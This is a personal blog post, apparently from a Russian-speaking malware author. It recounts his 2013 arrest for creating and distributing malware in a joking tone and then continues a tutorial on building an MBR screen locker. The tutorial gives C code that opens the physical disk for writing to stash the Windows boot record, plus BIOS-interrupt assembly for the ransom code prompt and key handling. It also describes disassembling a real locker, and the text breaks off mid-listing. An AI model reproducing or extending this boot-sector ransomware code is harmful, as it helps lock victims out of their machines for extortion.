locker&#39;a и обо всем-всем-всем)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Well, lets start in order. 02.07.2013 about 7:30 AM, I was arrested by Belarus policemen&#39;s.For the creating and distribution malware.Why this happened? &#39;Cause:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;1)Client distributed malware in BY&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;2)There was XXXXX sum of money (stolen)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;3)They are responsible people&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;It seems I talked in each post in this blog that the material &quot;is used for educational purposes&quot; , and I tell it right now- &quot;FOR EDUCATION PURPOSES&quot;. ohh okay..)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;but it&#39;s okay... I&#39;m free... so, if you read it my friends, I just say &quot;Hello)&quot; to you ho-ho-ho)))&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;our UA policemen&#39;s was so cute ^^ &quot;We got hacker DooD, oh yeah!&quot;)))&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;okay, forgot about it, it wasn&#39;t cool.It was like in a matrix.I was.night-hack, day-only student)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;night...Massive Attack-dissolved girl)like a matrix)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;that all about it.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Later, when I was freed, they gave me my nexus devices, cards, flash drives etc.But harddrive was their.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;I have it later, before concert).&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;That was beautiful 3 days of ROCK))&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;And some photos;)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Sandra) Guano apes&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg38PfXNsMRpp5eeyEjzw7e7TjKXLJo1B3xAFtkdOGZkNWRCCo-Jbl-4E4b6PMywuJssZ2ZQtCatWUWXQvqvCYB0EUpx5lDncaRuY0aniKwdHj4Fv63_pn7-GILqqPwhAUOWwdctQanCcOh/s1600/IMG_20130712_211429.jpg&quot; imageanchor=&quot;1&quot; style=&quot;background-color: black; margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg38PfXNsMRpp5eeyEjzw7e7TjKXLJo1B3xAFtkdOGZkNWRCCo-Jbl-4E4b6PMywuJssZ2ZQtCatWUWXQvqvCYB0EUpx5lDncaRuY0aniKwdHj4Fv63_pn7-GILqqPwhAUOWwdctQanCcOh/s320/IMG_20130712_211429.jpg&quot; width=&quot;239&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;BI-2&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQXdIkutpHUOV9cGxfARmfgffXx5kXics9jRsG8MKtikdPn3JV4J3bequCx577o4yGDkeSX1hm9boXcdgsBjDhrnTqERwXBC4A8X2Xuf6r_mSh8wm0efjwhgx8XRJXH-pYU-YeSAhc3Ic2/s1600/IMG_20130713_195750.jpg&quot; imageanchor=&quot;1&quot; style=&quot;background-color: black; margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;239&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQXdIkutpHUOV9cGxfARmfgffXx5kXics9jRsG8MKtikdPn3JV4J3bequCx577o4yGDkeSX1hm9boXcdgsBjDhrnTqERwXBC4A8X2Xuf6r_mSh8wm0efjwhgx8XRJXH-pYU-YeSAhc3Ic2/s320/IMG_20130713_195750.jpg&quot; width=&quot;320&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;Kristina) Lacuna Coil&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;background-color: black; color: red; margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1gm0_56PGmRr8KMhElb-mZ7jFHX6o4yRabxn_3u11-GmH75fscRleH6jREJUsPKusxGS5_6Ue7hcnslug7uS0N0fj-OY61J8ZxmWR4m4oxhXHRBZYfOXNx0lWLeXm_IkROiiO_nuYrPPJ/s1600/IMG_20130714_175226.jpg&quot; imageanchor=&quot;1&quot; style=&quot;background-color: black; margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;239&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1gm0_56PGmRr8KMhElb-mZ7jFHX6o4yRabxn_3u11-GmH75fscRleH6jREJUsPKusxGS5_6Ue7hcnslug7uS0N0fj-OY61J8ZxmWR4m4oxhXHRBZYfOXNx0lWLeXm_IkROiiO_nuYrPPJ/s320/IMG_20130714_175226.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;background-color: black; color: red; text-align: start;&quot;&gt;&amp;nbsp;Klaus Meine, Scorpions)&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrPi0BaovVX5TswQ0-d5c4GXqrNFzX7ETOCEEvaylzEJA0L8lD0srkukAxm8XD2hL9ZIltlSUQRDkm8LnP8wnftiPqff-_DP1vQGPPNRRHp9JlDEdqrY1IaEo4Fw1U6-qZ39VYdQopC-uv/s1600/zJvMdbRVGjA.jpg&quot; imageanchor=&quot;1&quot; style=&quot;background-color: black; margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrPi0BaovVX5TswQ0-d5c4GXqrNFzX7ETOCEEvaylzEJA0L8lD0srkukAxm8XD2hL9ZIltlSUQRDkm8LnP8wnftiPqff-_DP1vQGPPNRRHp9JlDEdqrY1IaEo4Fw1U6-qZ39VYdQopC-uv/s320/zJvMdbRVGjA.jpg&quot; width=&quot;240&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;background-color: black;&quot;&gt;&lt;span style=&quot;color: red;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Окей ладно.привет)&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Решил я тут завершить уже с mbr lock как бы, что бы у самого не оставалось никаких интересов больше. В общем то по названию поста, станем &quot;хорошими)&quot;Что это значит- сделаем строчку ввода кода,обработку клавиш, ну и разблокировку)&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
продолжение вот этой&amp;nbsp;&lt;a href=&quot;http://bydood.blogspot.com/2012/07/mbr-locker.html&quot; target=&quot;_blank&quot;&gt;http://bydood.blogspot.com/2012/07/mbr-locker.html&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
ЧТО ЮЗАЛОСЬ:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
1)nasm&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
2)C&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
3)IDA&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
4)sourcer&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
5)bochs&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Что я думал в идеале должно быть:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Дроппером должен искаться первый чистый сектор (пускай физического диска) и бэкапиться туда mbr windows(конечно можно там извратиться с его зашифровкой и т.д. и т.п., но у нас наглядно).&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int i;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;HANDLE hout;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;byte buf[512];&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;byte zerobuf[512]={0} ;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;char st[1];&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;DWORD nr;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt;  &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;hout=CreateFile(TEXT(&quot;\\\\.\\PhysicalDrive0&quot;),GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: blue;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;for (i=0;i&amp;lt;=63;i++)&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;ReadFile(hout,&amp;amp;buf,512,&amp;amp;nr,NULL);&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt; &amp;nbsp;if (strcmp(buf,zerobuf)==0)&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;{&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;_itoa(i,st,10);&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;MessageBox(0,TEXT(&quot;Найден пустой сектор под номером&quot;),st,0);&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;ExitProcess(0);&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;    &lt;/span&gt;else&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;MessageBox(0,0,0,0);&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;CloseHandle(hout);&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
итак что тут происходит у нас:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
может я плохо искал, но как я знаю- побайтово читать сектор нельзя, а даже если и можно то наверное придется извращаться.а мы ленивые,очень.по этому просто зададим массив из 512 нулей (предположим что сектор 512 байт, в 99% это так.В любом случае размер сектора можно выдрать из геометрии диска-GetDiskFreeSpace,например)и будем сравнивать его в цикле с массивом байтов сектора (сектором).если найден такой сектор то помещаем туда mbr windows( в примере выводится сообщение с номером сектора, начиная от 0 само собой).&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
Дальше как в предыдущей статье, записываемся вместо mbr windows.Насчет того как восстанавливать- есть разные варианты, как пример дроппер может записать номер сектора с оригинальным mbr куда то в другой сектор, а наш mbr будет его оттуда брать,но вообще я не думал об этом.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
Ну дальше ассемблер.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
Нужно вывести строку про введение кода:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov ah,0x13&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov al,1&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov bx,15&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov cx,13&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov dx,0x1700&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov bp,strmsg&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int 0x10&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
тут все так же как и 1-й части, только добавим координаты в dx&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
для более универсального изучения (на самом деле мне было не охота копаться в прерываниях, да и дизасм залежался что то))я решил дизасмнуть какой то локер, скачал его на Рыгхосте.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
вижу такое:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU0w77-V8DFfv2_k_To8M4P9IqHUrJHGBESVf_NqZk89qoPbCzXqj0uGDWjJ__6bk8Ff2sujfsbLbjy-OXHPr8_R-hFvOMQgxEIO-GSArWRjjHA0UmBdrmEfeuuZE0GgyU2dAGNuWbAveZ/s1600/1.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;292&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjU0w77-V8DFfv2_k_To8M4P9IqHUrJHGBESVf_NqZk89qoPbCzXqj0uGDWjJ__6bk8Ff2sujfsbLbjy-OXHPr8_R-hFvOMQgxEIO-GSArWRjjHA0UmBdrmEfeuuZE0GgyU2dAGNuWbAveZ/s320/1.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
понимаю что это набор байт которые пишет дроппер, судя по сигнатуре mbr.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
конечно можно нажать code ,но ИДА как то кривовато анализирует бинарники,так что я взял старый,добрый СОРСЕР&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmklEnty2QOE4TkMZfYs1DlBsVh_N6R3QVMWyOMCdahVbNNyl16ELcMMlfBx4mQFKvIiC630Wg851FrvF6RwZA_sXyHGnjK2mwrTF16OOqabDu96nt0bf4O5HFAKvt6WFlkeXMB_kjKsFl/s1600/2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;213&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmklEnty2QOE4TkMZfYs1DlBsVh_N6R3QVMWyOMCdahVbNNyl16ELcMMlfBx4mQFKvIiC630Wg851FrvF6RwZA_sXyHGnjK2mwrTF16OOqabDu96nt0bf4O5HFAKvt6WFlkeXMB_kjKsFl/s320/2.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
и тот выдал мне нехерово подробный листинг =D&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGAE9J0qeHspc3Ow2FFaDJ9TtHqKpcnRChEcqvTCaF1PFbhLlFMxwPDfBPk-7A1d6zbypWuYrv9TfEdCnLoGz6eCVt3EpiIYDVtrJWtJqnfhsLetkomga2KnVwT-y4v9ETpZjZCpwGAlNC/s1600/3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;223&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGAE9J0qeHspc3Ow2FFaDJ9TtHqKpcnRChEcqvTCaF1PFbhLlFMxwPDfBPk-7A1d6zbypWuYrv9TfEdCnLoGz6eCVt3EpiIYDVtrJWtJqnfhsLetkomga2KnVwT-y4v9ETpZjZCpwGAlNC/s320/3.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
ну все равно в прерывания пришлось лезть и вспоминать все эти извраты с клавишами)&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;mov di,0x8000&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;jboe:&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;xor ah,ah&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;push di&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;int 0x16&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;span style=&quot;color: blue;&quot;&gt;pop di&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
